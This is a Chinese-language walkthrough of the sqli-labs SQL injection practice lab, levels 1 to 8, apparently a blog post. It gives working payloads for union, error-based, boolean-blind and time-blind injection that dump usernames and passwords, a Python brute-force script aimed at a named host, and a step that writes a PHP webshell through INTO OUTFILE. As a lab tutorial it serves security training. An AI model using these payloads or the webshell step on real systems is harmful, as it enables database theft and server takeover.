Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)

简介: Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)


Less-18 user-agent头注入

Less-19 referer头注入

Less-20 cookie头注入

Less-21 cookie头注入+base64

Less-22 cookie头注入+base64


Less-1 联合注入

当输入?id=1时,显示对应的Login name与Password

①推测闭合方式

输入\,后面是’,应该是单引号闭合

?id=1’报错

?id=1’ --+不报错

说明确实是单引号闭合

②手工查询有多少栏目

?id=1’ order by 2–+

发现3的时候可以,4的时候不可以,说明有3列

③显示报错位

?id=-1’ union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

④爆库名

?id=-1’ union select 1,database(),3 --+

security

⑤爆表名

?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 3,1 --+

0,1是从第0个开始取,每次取一个

尝试0,1 1,1 2,1 3,1 发现到4,1不行

或者

?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+

一次性爆出表名:emails,referers,uagents,users

⑥爆列名

?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

爆出列名:id,username,password

⑦爆数据

?id=-1’ union select 1,group_concat(username),group_concat(password) from users --+

或者:?id=-1’ union select 1,group_concat(username,password),3 from users --+

或者:为了格式好看

?id=-1’ union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

补充:Ascii码的一些转换:ASCII_百度百科

Less-2

同Less-1,没有闭合方式

Less-3

同Less-1,')闭合

Less-4

同Less-1,")闭合

Less-5 报错注入/布尔盲注/时间盲注

这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

发现它并没有显示位

①判断闭合方式

?id=1\

发现是’闭合

②判断注入点

?id=1’ and 1=1 --+

发现页面无回显

查询语句正确时页面会打印You are in…,错误则不显示

③爆库名

?id=1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

库名:security

②爆表名

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x7e),1) --+

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+

表名:emails,referers,uagents,users

③爆列名

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+

列名:id,username,password

④爆数据

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

Less-6 报错注入/布尔盲注/时间盲注

布尔型注入:

这个地方进行了数据库查询,但是没有显示位,报错不会出现信息

错误和正确页面有区别

这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

无回显的

①判断闭合方式

?id=1\

发现是"闭合

?id=1" --+成功

②判断数据库长度

?id=1" and length(database())

所以库名长度=8

②判断数据库名中字母

select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,每次截取1个

select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

select ascii(substr(database(),1,1)) < 100;

所以

?id=1" and ascii(substr(database(),1,1))>114 --+

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = ‘http://www.wangehacker.cn/sqli-labs/Less-6/?id=1’
res = ‘’
select = “select database()”
for i in range(1, 100):
for ascii in range(32, 128):
id = ‘1" and ascii(substr(({}),{},1))={}%23’.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if “You are in” in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print(‘{}’.format(res))
exit(0)

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

select group_concat(column_name) from information_schema.columns where table_schema=‘security’

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1’)) and 1=1–+成功

所以是’))闭合

②猜列数

?id=1’)) order by 3–+ 列数为3

③导入一句话木马

?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+

虽然提示报错,但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1’ and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1’ and if(length(database())=8,sleep(5),null)–+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+


相关文章
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
302 0
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
9月前
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
1654 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
4220 2
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
7575 0
|
SQL 安全 数据处理
Web 测试神器:HackBar 保姆级教程
Web 测试神器:HackBar 保姆级教程
|
SQL Web App开发 网络安全
渗透测试-浏览器插件-Hackbar的安装与使用教程
渗透测试-浏览器插件-Hackbar的安装与使用教程
渗透测试-浏览器插件-Hackbar的安装与使用教程
|
SQL 数据库
【SQL注入】 sqli-labs靶场 sqlmap注入
SQL注入 sqli-labs靶场 sqlmap注入
394 0
|
SQL 数据库 数据安全/隐私保护
[极客大挑战 2019]LoveSQL1 题目分析与详解
[极客大挑战 2019]LoveSQL1 题目分析与详解